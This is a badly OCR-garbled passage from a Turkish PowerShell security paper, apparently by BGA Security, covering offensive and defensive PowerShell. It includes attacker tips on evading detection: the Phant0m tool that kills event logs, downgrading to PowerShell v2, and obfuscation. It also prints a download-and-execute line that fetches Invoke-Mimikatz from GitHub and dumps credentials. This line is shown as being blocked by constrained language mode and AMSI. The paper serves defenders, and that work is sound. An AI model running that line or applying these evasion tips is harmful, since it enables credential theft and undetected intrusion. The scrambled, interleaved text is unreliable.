48 cmintegrator x1130 Normal
1330 52,821 wamsve.dl'WonSveMan+0x10260 Normal

4748 c.dliServiceMan+0x2410  Normal
4752 c.dliServiceMan+0x1580  Normal
I'm here to blur the line between life and death...
Enumerating threads of PID: 1032...
Parsing Event Log i
read 1160 S
Thread
Start modde:
Started N/A +] All done, you are ready
State: N/A Priority: N/A
Kernel time: N/A Base priority:  NJA PS C:\Users\PoC\Desktop>
User time: N/A 1/0 priority: N/A
Context switches:  N/A Page priority:  N/A
Cydes: N/A Ideal processor:  N/A

S e k24 1 PhantOm

Phant OmAun tam ol arak nasi | PhantOm: KillinggWindow$ Even@llog k a | | d
makal esi Uzerinden erisilebilir. PhantOmAun yapti klar

guzel Dbir O6rnektir. PFoeweelShiesllle nilzeerr iynadpel Ihaibgihl di §gi gi bi
gibilow-l ev el islemler de yaptit |l abilir
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2.6. Sonu ¢

Power Shel |, bol tdmidn girisinde de sayilan yetenekl eri
(6zellikle Windows sistemler) UGzerinde normal sartlar
iz birakarak bircok i sl emi nr.Byaeuanlke PoaverShellehedeflsistema k s a gl a
st zmak ve si1zdir ktan sonra gerceklestirilecek yanal h a
tercih edil mektedir. Sizma testlerinde Power Shell ku

noktal ar abgdigg)r daki gi

x Hedef sistem Uzerinde Power Shel | v2 wvar i se kull
yetenegi bul unmamaktadi r. Byl ece daha az iz bira
x YUuksek yet ki seviyesine (hak yiukselt me veya bas
Phant O mAu Panlaing tOinr 1 sa gl 1 k11 bir sekil de cal 1 st
toplayamayacaktir (Security ve System | oglarinin
haki mseniz neredeyse hig¢ iz birrakmadan isinizi ta
x Power Shell taband 1 kemdidi rgielldrstiirciil di gi ni z aracg
kull anacaksani z kesinlikle Obfuscation (Karmasi kil
x Power Shel |l Ai cagiracadgini z dosya for mat. icerisi
yontemlerinizi gel idadrd nkulOrareari ak Power Poi nt (
Power Shel | Ai caglracaks aAntoOpen f UBBsi ypnhu diykerndekilt
fonksiyonlar kull anin. Herkes ilgili fonksiyonu Kk
cOozumler.i t ar afdiinrdeaknt dool sayraanki zz ar ar | | tespit edi |l e
dosya ac¢ildigrnda degil slayt dedgistiginde, tam e
davrani ssal tespit yapan gluvenlik ¢dézimidni atl at a
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3. Defansif PowerShell

Yukari dakidboéPadmeeShel |l Ain ne kadar giac¢cld bir dil old
kadar giucl @ silaha doénisebil eceginden mimkin mert
kadar gucgl 0 onu korumak mimkion mudiari?zer iDmdhean d o ¢
gercgceklestirilecek saldirilara karsi sistemlere nasi|
tarafina gecildi ginde giuc¢csiz olunmadi §i aksine ihtiy

ol undudunun
Management

di ger
Bash No**
CMD / BAT No
Jscript No
LUA No
perl No
PHP No
Powershell Yes
Python No
Ruby No

sh No**
T-50L Yes
VBScript  No
2sh No**

* Feature exists, but cannot enforce by policy

** Experiments exist

Yukar i1 daki
st kil astirmalar
bas!l 1 kl arda

Power Shel
Power Shel
mekani zmasi1 ni n
sal diriya

No*®
No
No
No
No
No
Yes
No
No
No*®
Yes
No
No*

R2 dahi

. NET

Saldirrganl ar i1 n,

dis ik

Power Shel
Birincisi

ot ur umu

(derl er ken
gerceklestirirler.
bu

No
No
No
No
No
No
Yes
No

No
Yes
No
No

sonr aki
Framewor k

versiyonu

engellenmesi gelebilir

sectiginde
ait bilgi

nmes:i

di |

No
No
No
No
No
No
Yes
No

No

No
No

tabanl
vV2AYi
bul

maruz kaldi dgirnizda

tidm Windows
yukl a i se
sistemde yukl

(genel de
Down gdreandier . SaSad idriirligaarnil ar
Power Shel |Ipoweshalu t-vession 2 rsie ki 2 enrdien dyeem i bir Po:
basl at ar ak

kol ayca

Security,
scripting

Yes
Yes
Yes
No
No
No
Yes
No

No

Yes
No

Sek2biKarsil astirma

karsil astirma

ger albil worL.e eOrHod griers a BaAfuitid aakdia nt
Apiriisli ml o,
I er i

a2k@%7)r @adipariasonjmi st i

ile guvenli k baki s acisiyla o

No
No
Yes
No
No
No
Yes
No
No
No
No
Yes
No

tabl osunda
yapili1rsa
il gishkiryagthaméd: kmauvar i ndan

3.1. Power Shel

sal dir

unmuyor

bunu
Power Shel |
Bunu

Power Shel

kesi

kull anmay.
ol masi dir.

terci

No*

No
No

No*
No*
No®

Yes
No

No**
No*

No

No*

sal diri |

Downgr ade

yont em

Yes
No
No
Yes
Yes
Yes
Yes

n da
ar a

anlasilacadgl
kar s ci ddi
bahsedil mi st

Saldiri1 1| ar

vV e

hedefl emektedir.
Yani ,
neredeyse

b u

aracl ar. i ncel
Bunun
nor mal sal

hi¢cbir sey hi:
i sl etim akgetmeldedilver i nde P

kull anit Il abilir durumdad:i
varsayllan ol arak
| en Poswelrdihrerl |l arva2 /

sal diriyl i ki

g&i peélcli sgtiirdd elbi Iri rC#r uygu

kutidphanelerini
0 nl e mepowersheliere A kil @&

n

¢cO0zium

Il v2Aye

caglirarak)
PowleasShmil h

y u k aPowerSkek > poweGHelliexedaen, | at 1+ | mi st 1 r .

Bu noktada

Ancak

ekstradan

caba

versiyonu olan PowerShell v5 ile ile r i

gerceklestirilen
sar f
dizey

et meye
guvenlik

downgr ade

ol mayacakti1r. Cunkau
kol ayca erisebild@
saldiril ari ni
gerek yoktur cunkd
mekani zmal ar i g

BGA Security | www.bgasecurity.com



Power Shel |l v varken Power Shell vV2Anin islevsiz hale
10 isletim sistemlerinde Power Shell v2 asagi daki gi bi

Ofansif ve Defansif PowerShell

! Windows Features

Turn Windows features on or off

To turn a feature on, select its check box. To turn a feature off, clear its check box. & filled box
means that only part of the feature is turned on.

[] | Services for MFS

] Simple Metwork Management Protocol (SMMP)
Simple TCPIP services (i.e. echo, daytime etc)
5ME 1.0/CIFS File Sharing Support
SME Direct
Telnet Client
TFTP Client
Windows |dentity Foundation 3.5
Windows PowerShell 2.0

[ | Windows PowerShell 2.0 Engine
Windows Process Activation Service
Windows 5ubsystem for Linux (Beta)
Windows TIFF IFilter
Work Folders Client
XPS Services
KPS Viewer

|
]
O
|
]
H
|
]
]

Sek26iPower Shell v2'nin Kaldiri |l masi
3.2. Power Shell v5 Guvenlik Gelistir
Power Shel |l lzerinden yapilacak saldiril ara karsi bagi
versiyon ol an Power Shell v5Ae yiUkSshelltlmev 5y agpsid gnadsa k i O 1
sisteml eri Gzerinde guncell estir me veya manuel kKur L
Windows 10 ve Windows Server 2016 isletim sistemlerin

x  Windows 7 Service Pack 1

x  Windows Server 2008 R2 Service Pack 1
x  Windows 8.1

x  Windows Server 2012

x  Windows Server 2012 R2

Power Shell v5 ile bircok yeni 06zellik gelmistir ancak
6zelliklerin gel di gi goér ol ebilir. t | giri Vei ilerlgyénv e nl i k
bol tdml erde ic¢ceriklerine dedinilmistir.

x  Script Block Logging

BGA Security | www.bgasecurity.com
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x  Transcript Logging
x  Constrained PowerShell Mod
x  Anti-Malware Integration (AMSI)

3.3. Event Log

Eger Windows isletim sisteminde gercekl estydrsaenl en sal
buyidk dostunuz Event Log mekanizmasidir. Nor mal sart
mekani zmasina sahip Windows isletim sisteminde, saldi
tespit edemeyeceginiz ¢ ok az yapidhimasit igdar eka&amdi Eve
mekani zmasinin dogru yapitlandiril masit ve toplanan 1 oc¢
edi |l mesidir. Devam eden basl i klarda Power Shell taraf.
bilgiler verilmistir

3.3.1.Module Log ging

Power Shell v3.0Adan itibaren bulunan moddul |l ogl ama 0
ait modiuller i¢in |l og UGretmenize olanak sagl ar. Bu | c
obfucate edil mis ki si1 mlarzii svienibna z¢ii kkto nhuatr/1kno muktalyart deid

Bu tdar l ogl amay. s iAdntingstnratve Teanglatea kB WindpwsnComponents >
Windows PowerShell yoluizlenip 3 Tur n on Modudeddrigmimgdur umu aktif h

File Action View Help
el a2 HE T
Software Protection Platform A || Setting 23 Turn on Module Logging O X

il Sound Recorder 1 Tum on Module Logging

=
;‘fmh 2} Tum on PowesShell Script Block Logging | I 1 o Module Logging Next Setting
ore 12| Tumn on Script Execution
| Sync your settings -
| Tablet PC

Task Scheduler [ Set the default source path for Update-Help

| Windows Calendar
* Windows Color System O Disabled
Windows Customer Experienc
Windows Defender Antivirus
* Windows Defender Applicatio
Windows Defender SmartScre Options: Help:
Windows Error Reporting

|£=] Turn on PowerShell Transcription O NotConfigured ~ Comment:
@) Enabled

Supported on:

At least Microsoft Windows 7 or Windows Server 2008 famity ‘

Windows Game Recording an

- 9 To turn on logging for ane or more modules. click i i ) ~
Windows Hello for Business Show and then type the module names n the st This policy setting allows you to turn on logging for
Windows Ink Workspace Wildcards are suplpcned Windows PowerShell modules.

| Windows Installer P ole this molicy sctting. sinch . "

) Module Name: [ you enable this policy setting, pipeline execution even
- x‘":"wsbﬂ?‘u" Options o for members of the specified modules are recorded in the
indows Mai ) ) Windows PowerShell log in Event Viewer. Enabling this policy

] Windows Media Digital Rights Te E:T "”(ﬁ'?“t;:‘gr':"l' the W'”dc'"ls DD‘“'S'"‘.';“ setting for a module is equivalent to setting the
Windows Media Player I"; ules. type the following medule names in the LogPipelineExecutionDetails property of the module to True.

J ist:
Windows Messenger o disable this nalicy seting, | fexecut .

! ; Microsoft PowerShell* you disable this policy setting, logging of execution events

Windows Mobility Center ! . is disabled for all Windows PowesShell modules. Disabling this

. Windows PowerShell Microsof WSMan Management policy setting for a module is equivalent to setting the
Windows Reliability Analysis LogPipelineExecutionDetails property of the module to False.
Windows Remote Manageme

“ Windows Remote Shel Lo i policysting s ok conigure, e

agPipelineExecutionDetsils property of 3 module or snap-in
Windows Update determines whether the execution events of a module or snap-in
Work Folders are logged. By default, the LogPipelineExecutionDetails property
©. All Settings of all modules and snap-ins is set to False.
@ User Configuration v

Software Settings

} Windows St G| [ e

| Administrative Templates

< > '\, Extended )\ Standard /
5 setting(s)

Sek2riMod il Loglama Ozelliginin Aktif Hale Getiril mes

Ardindan 3Showj butonuna ti klanarak hangi*dmgceiliiner i n
kull anarak tim modiullere ait aktivitelerin | oglanmas:|
kayrtridefgyt edi |l erinin sahip oldukl ar. degerl er belirt
gerceklestirilebilir

BGA Security | www.bgasecurity.com
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x  HKLMSOFTWAR®Wow6432NodePolicies \ Microsoft \ Windows PowerShell \ ModuleLoggi
ng
i EnableModuleLogging = 1
x  HKLMSOFTWAR®ow6432NodePolicies \ Microsoft \ Windows PowerShell \ ModuleLoggi
ng \ ModuleNames

U *=*

Tavsiye edil mese de spesifik modillerin |l oglanmasi ni
ol acakti1r. thtiyaciniz olan moddal adindan emin degil
listesin i y a z dGetr Modute k- ListAvailable Power Shell Cmdl et ' ini cal 1 st
ExportedCommandss 0t ununda, modul dn bir parcasi ol arak bul una

22 Windows PowerShell
4s PowerShell
yright (C) 2016 rosoft Corporation. All rights r

sers\hlldz> Get-Module

dowsPowerShell\Modules

rtedCommands

{Get-OperationValidation, Invoke-OperationValidation}
gement { -Package, Get-Package, Get geProv , Get-Packag
gement {Find-Package, Get-P. Get-PackagePr , Get-Package!
b ontext, It, Should.
et le, Find-Module, S le, Update-Module.
{Get-PSReadlineKeyHandler, Set-PSReadli eyHandler, Remove-PSReadlineKeyHandler, Get-PSReadlin..

2\WindowsPowerShell\vi.e@\Modules

ExportedCommands

ndTask - iag ticlLog, Enable-AppBac

{Add-AppxPackage, G
{cl ignedAcce A gnedAcce
§ ocker, Suspend-BitLocker, R
{Add-BitsFile, Complete-BitsTransfer

CimCmdlets
ConfigCI

yOptimization (
ctAccessClientComponents y tSelection, Enable-DA¥ Selection, Get-DAClientExp
Add-Windo i g apability, Add-WindowsImage
lientCache, Get-DnsClient, Get-DnsClientCache...}
ession, New-Etw = on, Get-EtwTraceSession, Update-EtwTraceSession
nDefaultInputMethodOverride, Set-WinDefaultInputMethodOverride, Get-WinHomelocatiol
pet, Import-I ippet, Get-IseSnippet}
TargetPortal, N o move-IscsiT etPortal, Update-IscsiTargetPort...
Set-KdsConfiguration. ..}
licrosoft.PowerShell. D) Archive, Expand-Archi
Microsoft.P Shell.Di i { Event, Get-Counter, Import-Counter, t-Counter...}

Sek2iModul Listesi

Asagi da Or nefke nadlear anko dB&t-MMpReefeeiceé Cmd |l et Ainin ¢al i1 stiril
|l oga ait ekran goéridntiasid verilmistir
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S

# Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Commandlnvocation(Get-MpPreference): "Get-MpPreference”
ParameterBinding(Get-MpPreference): name="ThrottleLimit"; value="0"
ParameterBinding(Get-MpPreference): name="Aslob"; value="False"

Context:
Severity = Informaticnal
Host Name = ConsoleHost
Host Version = 5.1.15063.502
Host ID = 945ee5fa-d7a3-4772-ad2c-243ab 1362193
Haost Application = C\Windows\Systern32\WindowsP owerShellw1.0\powershell exe
Engine Version = 5.1,15063.502
Runspace ID = Dac2f71e-2ad3-4bca-9e36-348cc0dadde
Pipeline ID = 11
Command Mame = Get-MpPreference
Command Type = Function
Seript Mame =
Command Path =
Sequence Mumber = 82

Leg Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microseft-Wind Logged: 10.08.2017 18:28:36
Event ID: 4103 Task Category: Executing Pipeline
Level: Information Keywords: None

Usen DZLAB\hlldz Computer: DZLAE

OpCode: To be used when cperation i

Mere Information:  Event Leg Online Help

S e k20 1 Module Logging

3.3.2.Script Block Logging

Power Shel |l tabanl saldiril arda hemdgiuwemralliik ol emlae
karmasi kl astirip zorl astirmak adi na calirstirril an

karmasi kl astir ma (obfuscation) kull ani | maktadir. B u
Base64 ile kodlar encode edilarbakRoWwdrhetth etacaflenae
kodun c¢alistirabil mesi i¢cin Oncelikle bu kodun tersi
gerekivyor, ki saca decode edil mesi veya geriye doénddar
gerekenin ne oldugugereekhestacakewvektir. Script Bl oc
tam bu noktada devreye girmektedir. Kod decode edil c
sonra henitz kod c¢calistiri Il madan Event Log mekani zmas
cati1 smaktadir. Yani bu |l ogl ama tdardnde c¢alistiri |l ma
tarafindan c¢calistirmadan | ogl anmaktadir

Bu tdar l ogl amay. s iAdntingstnratve Teanglatea k WindpwsnComponents >

Windows PowerShell yolu izlenip 3 Tur n  oenr SPhoew | ScriptdBBecknLoggdungijmu
aktif hale g¥lUdgiddmi.ptAyblicaak execustsegoernefartl é ecabps
script bl ogunun baslangi¢ ve bitis ile alakal:/ ol ayl
forensic cali1 smalarinda deger/|.i bilgiler ol sa da ¢c
kull ani | mamaktadir

BGA Security | www.bgasecurity.com
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File Action View Help
L 2]l NETN 7 Nl 4

3 Tumn on PowerShell Script Block Loggin o X

Software Protection Plat A || Setting . )

7 Sound Recorder =
ek B Tum on Module Logging [} Tum on PowerShell Script Block Logging sy Next Seting
i [ Turn on PowerShell Script Block Logging

ore
£ Script Executi - ;

] Sync your settings ool e ol O Not Configured ~ Comment:
i ] Turn on PowerShell Transcription
Task Scheduler i) Set the default source path for Update-Help | @ Enabled

1 Windows Calendar O Disabled

il Windows Color System Supported on: ['At jeast Microsoft Windows 7 or Windows Server 2008 family
Windows Customer Exp¢
Windows Defender Antiv

| Windows Defender Appl Options: Help:
Windows Defender Smai
Windows Error Reporting ~

. Log script block invocation start / stop events

. Windows Game Recordi] [togscrip e This policy setting enables logging of all PowerShell script
Windows Hello for Busir input to the Microsoft-Wind Shell/O| event
Windows Ink Workspace log. If you enable this policy setting,

1 Windows Installer Windows PowerShell will log the processing of commands,
Windows Logon Option: script bloc:rs, fun;tnonsr,| and scripts - whether invoked
Windows Mail interactively, or through automation.

| Windows Media Digital f If you disable this policy setting, logging of PowerShell
Windows Media Player script input is disabled.
Windows Messenger

) Windows Mability Cente If you enable the Script Block Invocation Logging,
S PowerShell additionally logs events when invocation of a

et oo L oW command, script block, function, or script
Windows Reliability Ana starts or stops. Enabling Invocation Logging generates a
Windows Remote Mana: high volume of event logs.

7 Windows Remote Shell
Windows Update Note: This policy setting exists under both Computer
s Configuration and User Configuration in the Group Policy Editor.

The Computer Configuration policy setting takes precedence
- All Settings over the User Configuration policy setting. v
v §& User Configuration
Software Settings - c
ancel Apply
Administrative Templates g
< > Extended )\ Standard
5 setting(s)

Sek34Script Block Loglama Ozelliginin Aktif Hale Geti
Ay ni zamanda asag! daki kaghitp delfdekliargi rdlée derliai nbe
dizenlenerek de ayni islemi gerceklestirilebilir

x  HKLMSOFTWAR®Wow6432NodePolicies \ Microsoft \ Windows PowerShell \ ScriptBlock

Logging
U  EnableScriptBlockLogging = 1

Bu sekil de t oApplieatioa and $eovig teslrogs > Microsoft > Windows > PowerShell >

Operational yol unda bul unur. Yazi i¢cin O6rnek bir Power Shel
il gili Power Shel | ScriptAinin kaynak kodl ar ver il mi
Loggi ngy alzensatkjt adi r ve arit ndan isletim sistemi hakki nd:

logTest.psl

Write - Host "PowerShell Script Logging Test"
Get- CimInstance Win32_OperatingSystem | Select - Object Caption, Version ,
ServicePackMajorVersion , OSArchitecture , CSName WindowsDirectory

Script calistirildirktan sonra olusan |l oga ait ekran g

BGA Security | www.bgasecurity.com
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@
File Action View Help
s 3 HE
NDIS [l Operational Number of events: 517 Actions
NdisimPlatform .
NbakPiotile Level Date and Time Source EventID Task Category ~ | |iOpesstional a
NetworkProvider @ verbose 10.08.201719:12:33 PowerShell (Micro... 4104 ExecuteaRemote.. ||z Open SavedLog..
1 P 9 ¥ Create Custom View...
NiaSve Event 4104, PowerShell (Microsoft-Windows-PowerShell) x
Ntf Import Custom View.
i General Details Clear Log...
NvdimmN 4
s Creating Scriptblock text (1 of 1): Filtes Curent Log...
i Write-Host “PowerShell Script Logging Test Properties
7 OneBackup -
Onex (Get-Ciminstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, Disable Log
OOBE-Machine-DUI WindowsDirectory A e
OtpCredentialProvider e
PackageStateRoaming ScriptBlock ID: 40866059-1810-48d6-292d-268be2addeff
ParentalControls Path: C:\Users\hlldz\Desktop\logTest,ps1
- Partition
PerceptionRuntime
PerceptionSensorDataService
PmemDisk
Policy-based QoS
v 1 PowerShell
] Admin
£ Operational
PowerShell-DesiredStateConfig
z""‘;zﬂﬁwmum" PS C:\Users\hlldz\Desktop> .
= ans Log Name: Microsoft-Windows-PowerShell/Operational
intService ~
e Source: PowerShell (Microsoft-Wind Logged: 10.08.2017 18:12:33 i Refresh
PriResources-Deployment
Program-Compatibility-Assista Event ID: 4104 Task Category: Execute 2 Remote Command H Hep »
Provisioning-Diagnostics-Provi Level: Verbose Keywords: None
Proximity-Common User: DZLAB\hlldz Computer.  DZLAB
7 PushNotifications-Platform OpCode: On ceste ol
ReadyBoost More Information: Event Log Online Help
ReadyBoostDriver
| ReFS X
< >

S e k3il | Script Block Loglama

Power Shel l v5 ile gelen bu | oglama o6zelligiupbtel]ical.
komutl ar ya da teknikleri iceriyorsa Script Bl ock L
olusturul maktadir. Supheli scriptler sebebiyle olusa
stupheli bir durum tespit etda rpafliongd adar edbtime kg UMiecnrl a sko f @
sunul mami stir ve gorul memektedir. Script Bl ock Loggi
ol mayan tum scriptlere ait | oglar toplanabilir ve tayv
degerleri lasak4104 o

3.3.3.Transcription Logging

Bu | oglama tiridnde Power Shell tzerinde c¢calistirilan |t
oturum ve kullanitci i¢in ayri1 bir dosyaya yazilir. Do
damgasti, kpyl PawecBhaldl versiyonu gibi bir¢cok meta ver
dosyalarinda <c¢alirstirril an scriptin icerigi veya dis
bul unmaz. Bu | oglama tidaridande o6zetl e, akthift ioneanaihtert Ubr
detaylar | oglanir. Ol ustur udl ReowearoShyeall l@m rwdarisscar i 19l tapna sd
istenilirse degistirilebilir ve yine var sbaggmentan ol ar ¢
di zini altina kg tdaettavsryeBadnben olusturulan [ og
yazi |l masidir

Bu tdar l ogl amay. s iAdntingstnratve Teanglatea k WindpwsnComponents >

Windows PowerShell yoluizlenip 3 Tur n on Power ShededEBramsaoar dptr uomnonj akt |
getirilir. Eger calirstirri1l an komutl ara ait zaman da
JUnclude invocaeicemeeadercsj mel i dir

BGA Security | www.bgasecurity.com
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File Action View Help

el a2 HE T

“ Sound Recorder

Speech
Store

7 Sync your settings
Tablet PC
Task Scheduler

| Windows Calendar
Windows Color System
Windows Customer Experien

_| Windows Defender Antivirus

| Windows Defender Applicatic
Windows Defender SmartScr

7 Windows Error Reporting

| Windows Game Recording ar
Windows Hello for Business

1 Windows Ink Workspace

“ Windows Installer
Windows Logon Options

1 Windows Mail

~ Windows Media Digital Right
Windows Media Player
Windows Messenger

“ Windows Mobility Center
Windows PowerShell
Windows Reliability Analysis

" Windows Remote Managem:
Windows Remote Shell
Windows Update

| Work Folders

. All Settings
v ¢ User Configuration
| Software Settings
| Windows Settings

Administrative Templates
v

< >

Software Protection Platform A

Setting
[ Tum en Medule Legging

1) Turn on PowerShell Script Block Logging
12 Tum on Script Execution

B Tum on PowerShell Transcription

1] Set the default source path for Update-Help

LS

] Tum on PowerShell Transcription

Previous Setting Next Setting

At least Microsoft Windows 7 or Windows Server 2008 family

() Not Configured ~ Comment:
(®) Enabled
O Disabled
Supported on:
Options:

Help:

Transcript output directory

|causersihildz\Documents

Include invocation headers

This policy setting lets you capture the input and output of
Windows PowerShell commands into text-based transcripts.

If you enable this policy setting, Windows PowerShell will
enable transcripting for Windows PowerShell, the Windows
PowerShell ISE, and any other

applications that leverage the Windows PowerShell engine.
By default, Windows PowerShell will record transcript output to
each users' My Documents

directory, with a file name that includes
‘PowerShell_transcript', along with the computer name and time
started. Enabling this policy is equivalent

to calling the Start-Transcript cmdlet on each Windows
PowerShell session.

If you disable this policy setting, transcripting of
PowerShell-based applications is disabled by default, although
transcripting can still be enabled

through the Start-Transcript cmdlet.

Cancel Apply

5 setting(s)

Ayni

dizenl ener

zamanda

Extended j Standard

Sek3RiTranscription

ek de

asagldaki
ayni

i sl emi

kayit
gerceklestirilebilir

Ozell

defteri

ginin Aktif Hale Getiril

girdilerinin

x  HKLMSOFTWAR®Wow6432NodePolicies \ Microsoft \ Windows PowerStell \ Transcripti

on

U EnableTranscripting = 1
x  HKLMSOFTWAR®Wow6432NoddPolicies \ Microsoft \ Windows PowerShell \ Transcripti

on

U EnablelnvocationHeader = 1

x  HKLMSOFTWAR®Wow6432NoddPolicies \ Microsoft \ Windows PowerShell \ Transcripti

on

i / OOPOOSEOAAODI OU

Ornek

lzere |l og

GletaRrogadss C md |

dosyasi i

et Ai

calirstirri I mirstar

gi | di zi

ne

"1 CTCEAUGCGOARAGCAAAGE AEUEI

ve asagirdaki

olusturul mustur ve
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« v 4 » ThisPC » Documents » 20170810 v O

Name Date modified ype Size

s Quick access
I Desktop
¥ Downloads

% Documents

PowerShell_transcript.DZLAB.JmuraMbb....

Help

S

NPM(

Windows PowerShell transcript start

Start time: 20170810214900

Username: DZLAB\hlldz

RunAs User: DZLAB\hlldz

Machine: DZLAB (Microsoft Windows NT 10.9.15063.8)
Host Application: C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe
Process ID: 3784

PSVersion: 5.1.15863.502

PSEdition: Desktop

PSCompatibleVersions: 1.8, 2.8, 3.0, 4.8, 5.8, 5.1.15063.502
BuildVersion: 18.8.15863.502

CLRVersion: 4.0.30319.42000

WSManStackVersion: 3.0

PSRemotingProtocolVersion: 2.3

SerializationVersion: 1.1.0.1

Ll

20170810214952

-

Command start time:

wrmmn

PS C:\Users\hlldz> Get-Process

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
226 13 3844 16364 1,75 588 1 conhost
380 12 1528 3760 584 @ csrss

Titem  1item selected 565 bytes

S e k3B | Transcription Loglama

Yazi i¢in O6rnek bir Power Shell scripti olusturul mustu
kodl ar veril mistir. Script il k olarak ekrana JPowe|
ar di n Geat-service Cmdl et Nisl étiem sistemindeki servisler h a
dénduiur mektedir.

Write - Host "PowerShell Script Transcription Test"
Get- Service

Script c¢calistirildirktan sonra olusan |l oga ait ekran
Execution Policy seviyesi Bypass olacak sekilde yeni
degi simine ait bilgi ile beraber tim meta veriler, ¢a
Power Shell erisimine oclius acakt itbri rvd ocggaldiosstytarsiil an scri
tdm islemler | oglanacaktir
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R RO ~
Windows PowerShell transcript start

Start time: 2017810215921

Username: DZLAB\hlldz

RunAs User: DZLAB\hlldz

Machine: DZLAB (Microsoft Windows NT 10.0.15063.0)

Host Application: C:\WINDOWS\System32\WindowsPowerShell\vl.@\powershell.exe -Execution Bypass

Process ID: 208

PSVersion: 5.1.15063.502 2 Windows PowerShell

Fatdition: Desktop Windows Powershell ‘
PSCompatibleVersions: 1.8, 2.0, 3.0, 4.0, 5.0, 5.1.15863.502 ht (C) 2016 & lorporation. All ri s served. |
BuildVersion: 10.0.15063.502

CLRVersion: 4.0.30319.42000 \ dz> wershel Bypass

WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1

S ———

rosoft Corporation. All right

1dz\Desktop> .\
ipt Transcrip

e ——

Command start time: 20170810215924

R R KKK

PS C:\Users\hlldz> cd Desktop

A — AJRouter
Command start time: 20170810215934 SLOpped i ALS N
B e AppIDSvc
Appinfo
PS C:\Users\hlldz\Desktop> .\logTest.psl AppMgmt Application Management
PowerShell Script Transcription Test S AppReadiness App Readiness
AppVClient M ft App-V Client
Status  Name DisplayName ing A AppX Deployment Ser e (AppXSVC)
...... Audio Endpoint Builder
Stopped AJRouter AllJoyn Router Service Audi
Stopped ALG Application Layer Gateway Service
Stopped AppIDSvc Application Identity
Stopped Appinfo Application Information g B B und Intelligent Transfer Ser...
Stopped AppMgmt Application Management ing ... Background Tasks Infrastructure Ser...
Stopped AppReadiness App Readiness
Stopped AppVClient Microsoft App-V (lient
Running AppXSvc AppX Deployment Service (AppXSVC)

Running AudioEndpointBu... Windows Audio Endpoint Builder

S e k3# | Transcription Loglama

34. Power Shel |l Language Modl ar

Power Shel |l di | modl ar | Power Shell oturumu esnasinda
belirler. Aktif oturumdaki dil modu  $ExecutionContext.SessionState.LanguageMode komutu ile
6grenilebilir. Power Shel/l Gzerindedhuli |l gnbidbrlecek o

x  Full Language Mod

x  Restricted Mod

x  No Language Mod

x  Constrained Language Mod

2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> .SessionState. LanguageMode
FullLanguage
PS C:\Users\hlldz

$ e k3b 1 Aktif Oturumdaki Dil Modu

Full Language Mod, Power Shel | oturumundaki tiam dil 6gel erine i
tdm Wi adseswridmlerinde varsayilan dil modudur .
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Restricted Language Mod, Power Shel | oturumunda Cmdl et Al er fonk
durumdadi r ancak script bl okl arinin calirstirri Il masin
basvurul ari1 ve yigimverdgmmez.cadgri |l ari1na

No Language Mod, Power Shel | oturumunda komut calistiri |l masi |
el ementlerinin hic¢birinin calistirilmasina izin veril

Constrained Language Mod, Power Shel |l Ain basit fonksiyonedudui gi di1 s1

Power Shell v5 ile beraber, egdger sistemde ApplLocker v
otomati k ol arak Constrained dil moduna gecer. AppLock
di | mo d u aktifken bir sal dir@&niinci :nalRlawear Saredd!| adiill
degi stirmesi cok da mimkin degil dir. Constrained dil
kull antl masitna izin verir ve ileri duzey O-Zypd | i k1l er i
Cmdl et Ai GzerindenerWisni3n2i AWwsUANL akulnlaani | masi1 ni engel |
daralti I mis olur. Ancak AppLocker tarafindan izin ver
i mzal anmi s bir kod c¢alitstirildirgirnda Power Shell kod
chrstrrailr.

Ornek olarak MimikatzAin Power Shell dilinde yazil mis
komut kullanil arak c¢alirstiri I maya c¢alisi I ms ve dil n

IEX (New Object

Net. WebClient ). DownloadString ('https://raw.githubusercontent.com/mattifestation/
PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1" ); Invoke - Mimikatz -
DumpCreds

2. Windows PowerShell

¥PS C:\Users\hlldz>
LPs C:\Users\hlldz>
lips C:\Users\hlldz> § ( .SessionState.lLanguageMode
ConstrainedLanguage
PS C:\Users\hlldz> IEX (New-Object Net.WebClient).DownloadString(
f ); Invoke-Mimikatz

PS C:\Users\hlldz>

S e k36 | Constrained Dil Modu

3.5. Anti -Malware Scan Interface (AMSI)

Windows 10 ile gelen Anti-Mal war e Scan Unterface (AMSU), sistem Uz
herhangi bir scripting diline (Power Shell, VBScript,
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herhangi bir dosyayilr kendi yor uml ayarayanssstemdir.8unanf 1 ndan h
yaninda c¢alirstiril mak istenilen kodlarin diskte veya
da AMSU tarafindan taramaktadir. Power Shel |l i ¢
System.Management.Automation.dll Aeul asmadan t ArMSfUI ndmal wamtei kontr ol (
gerceklestirilir. Windows 10Ada kurulum ile beraber
ve ¢alisma yapisina ait sema asagirda verilmistir.
Other Other
PowerShell VBScript . s
Application Application MsM pEng.exe
A $ A -~ (Windows Defender Service)
\ 4 h 4
AMSLh + AMSLIib + AMSLdIl
Win32 API Layer AnsiScanBuffer()
AnsiScanString()
e e e S e ey MpEngine .dll
A e i (Defender Scan Engine)
1. 81 .
COM API Layer IAntimalware: : Scan() ek MpSve.dll
(Defender RPC Server)
AV Provider Layer Windows Defender Provider Class 3" Party AV Provider
IAntimalwareProvider: : Scan() Class
[ RPC |
SekdrtAMSY Cal 1 sma Yapil s
Tarama sonucunda AMSI onay verirse komut veya kod c¢alirstirilr
kod calistiri |l maz. Yazi icin O0rnek olarak MimikatzAIl
calirsi I mstir. AMSU kodun zararli1 ol dugunu .tespit etn
Sek3gZararl i Kodun AMSU Tarafindan Engell enmesi
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